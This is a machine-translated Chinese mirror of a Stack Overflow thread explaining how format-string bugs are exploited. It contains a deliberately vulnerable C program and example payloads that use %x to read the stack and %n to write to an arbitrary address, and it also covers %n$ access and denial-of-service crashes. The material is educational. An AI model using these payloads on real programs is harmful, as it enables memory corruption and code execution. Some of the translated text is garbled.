it-swarm.cn

如何利用Format-String漏洞?

我正在阅读代码中的漏洞,并遇到了这个Format-String Vulnerability

维基百科 说:

当程序员希望打印包含用户提供的数据的字符串时,最常出现格式化字符串错误。程序员可能会错误地写printf(缓冲区)而不是printf(“%s”,缓冲区)。第一个版本将缓冲区解释为格式字符串,并解析它可能包含的任何格式化指令。第二个版本只是按照程序员的意图将字符串打印到屏幕上。

我遇到了printf(缓冲区)版本的问题,但我仍然没有得到攻击者如何使用此漏洞来执行有害代码。有人可以告诉我这个漏洞是如何被 被利用 通过一个例子?

62
Atul Goyal

您可以直接或间接地以多种方式利用格式字符串漏洞。让我们使用以下作为示例(假设没有相关的操作系统保护,这是非常罕见的):

int main(int argc, char **argv)
{
    char text[1024];
    static int some_value = -72;

    strcpy(text, argv[1]); /* ignore the buffer overflow here */

    printf("This is how you print correctly:\n");
    printf("%s", text);
    printf("This is how not to print:\n");
    printf(text);

    printf("some_value @ 0x%08x = %d [0x%08x]", &some_value, some_value, some_value);
    return(0);
}

此漏洞的基础是具有可变参数的函数的行为。实现处理可变数量参数的函数必须从堆栈中读取它们。如果我们指定一个格式字符串,它将使printf()期望堆栈上有两个整数,并且我们只提供一个参数,第二个参数必须是堆栈上的其他参数。通过扩展,如果我们可以控制格式字符串,我们可以拥有两个最基本的原语:


从任意内存地址读取

[编辑] 重要: 我在这里对堆栈框架布局做了一些假设。如果您了解漏洞背后的基本前提,则可以忽略它们,并且它们在操作系统,平台,程序和配置方面各不相同。

可以使用%s格式参数来读取数据。您可以在printf(text)中读取原始格式字符串的数据,因此您可以使用它来读取堆栈中的任何内容:

./vulnerable AAAA%08x.%08x.%08x.%08x
This is how you print correctly:
AAAA%08x.%08x.%08x.%08x
This is how not to print:
AAAA.XXXXXXXX.XXXXXXXX.XXXXXXXX.41414141
some_value @ 0x08049794 = -72 [0xffffffb8]

写入任意内存地址

您可以使用%n格式说明符(几乎)写入任意地址。再说一次,让我们假设我们上面的易受攻击的程序,让我们尝试更改some_value的值,它位于0x08049794,如上所示:

./vulnerable $(printf "\x94\x97\x04\x08")%08x.%08x.%08x.%n
This is how you print correctly:
??%08x.%08x.%08x.%n
This is how not to print:
??XXXXXXXX.XXXXXXXX.XXXXXXXX.
some_value @ 0x08049794 = 31 [0x0000001f]

我们用some_value说明符之前写的字节数覆盖了%nman printf)。我们可以使用格式字符串本身或字段宽度来控制此值:

./vulnerable $(printf "\x94\x97\x04\x08")%x%x%x%n
This is how you print correctly:
??%x%x%x%n
This is how not to print:
??XXXXXXXXXXXXXXXXXXXXXXXX
some_value @ 0x08049794 = 21 [0x00000015]

有许多可能性和技巧可以尝试(直接参数访问,大场宽度使环绕可能,建立自己的原语),这只是触及冰山一角。我建议阅读更多关于fmt字符串漏洞的文章(Phrack有一些非常优秀的文章,虽然它们可能有点先进)或一本涉及该主题的书。


免责声明:这些例子来自Jon Erickson的书{黑客:剥削的艺术(第2版)作为[虽然不是逐字]。

92
Michael Foukarakis

有趣的是,没有人提到过POSIX支持的n$表示法。如果您可以将格式字符串控制为攻击者,则可以使用以下符号:

"%200$p"

阅读200 堆栈上的项目(如果有的话)。目的是你应该列出从1到最大的所有n$数字,它提供了一种重新排序参数如何出现在格式字符串中的方法,这在处理I18N(L10N,G11N,M18N)时很方便*)。

但是,某些(可能是大多数)系统在如何验证n$值方面有些缺乏实用性,这可能导致可以控制格式字符串的攻击者滥用。结合%n格式说明符,这可能导致在指针位置写入。


* I18N,L10N,G11N和M18N的首字母缩略词分别用于国际化,本地化,全球化和多国化。数字表示省略的字母数。

14
Jonathan Leffler

啊,答案在文章中!

不受控制的格式字符串是一种在1999年左右发现的软件漏洞,可用于安全漏洞。以前认为无害的格式字符串漏洞可以用于崩溃程序或者 执行有害代码

典型的漏洞使用这些技术的组合来强制程序用指向某些恶意shellcode的指针覆盖库函数的地址或堆栈上的返回地址。格式说明符的填充参数用于控制输出的字节数,%x标记用于从堆栈中弹出字节,直到达到格式字符串本身的开头。格式字符串的开头是精心设计的,以包含 然后%n格式标记可以用要执行的恶意代码的地址覆盖

这是因为%n 导致printfwrite data到变量 ,它位于堆栈上。但这意味着它可以任意写入某些内容。你只需要有人使用那个变量(如果碰巧是一个函数指针就相对容易了,你只想知道如何控制它的值)它们可以让你任意执行任何东西。

看一下文章中的链接;他们 看起来很有趣

9
Mehrdad

我建议阅读 关于格式字符串漏洞的讲义。它详细描述了发生了什么以及如何发生,并且有一些图像可以帮助您理解该主题。

2
AndreyP

AFAIK主要是因为它可能导致程序崩溃,这被认为是拒绝服务攻击。你需要的只是提供一个无效的地址(实际上 任何东西 有一些%s的保证可以工作),它就变成了一个简单的拒绝服务(DoS)攻击。

现在,理论上可能在异常/信号/中断处理程序的情况下触发任何东西,但是弄清楚如何做到这一点超出了我 - 你需要弄清楚如何任意数据到内存。

但是,为什么有人关心程序崩溃,你可能会问?这不仅仅给用户带来不便(无论如何还是应得的)?

问题是一些程序被多个用户访问,因此崩溃它们的成本是不可忽视的。或者有时它们对系统的运行至关重要(或者它们可能正在做一些非常关键的事情),在这种情况下,这可能会损害您的数据。当然,如果你崩溃记事本然后没有人可能会关心,但如果你崩溃CSRSS(我相信实际上有一个类似的错误 - 一个双重免费的错误,特别是)然后是的,整个系统正在与你同行。


更新:

请参阅 此链接 表示我所指的CSRSS错误。


编辑:

请注意 读取任意数据可能同样危险 执行任意代码!如果您读取密码,cookie等,那么它就像任意代码执行一样严重 - 如果您有足够的时间尝试足够的格式字符串,那么平凡.

0
Mehrdad